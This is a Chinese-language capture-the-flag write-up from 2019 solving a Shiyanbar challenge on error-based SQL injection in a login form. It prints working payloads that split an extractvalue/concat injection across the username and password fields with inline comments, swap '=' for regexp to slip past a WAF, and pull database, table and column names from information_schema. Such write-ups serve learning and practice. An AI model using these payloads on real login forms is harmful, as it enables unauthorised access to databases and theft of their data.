實驗吧--加了料的報錯注入

情頌發表於2019-06-15

題目連結:http://ctf5.shiyanbar.com/web/baocuo/index.php

tips裡面說post username and password...

我這裡採用的抓包,也可以用hackbar

把get方式改為post後,放進repeater裡面

構造第一條payload:username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e)) or'

這裡採用的函式是 extractvalue()concat() 以及/**/內聯註釋

extractvalue()的講解是

  extractvalue():從目標XML中返回包含所查詢值的字串。
  EXTRACTVALUE (XML_document, XPath_string); 
  第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為Doc 
  第二個引數:XPath_string (Xpath格式的字串)

concat函式是返回結果為連線引數產生的字串

爆出資料庫...

繼續往下爆

下一條payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e)) or'

一開始嘗試 where table_schema = database(),發現waf將 = 過濾掉了,採用regexp(mysql正則)

爆出表

 

 先試試第一個

payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj'),0x7e)) or'

我丟。。flag出來了

 

相關文章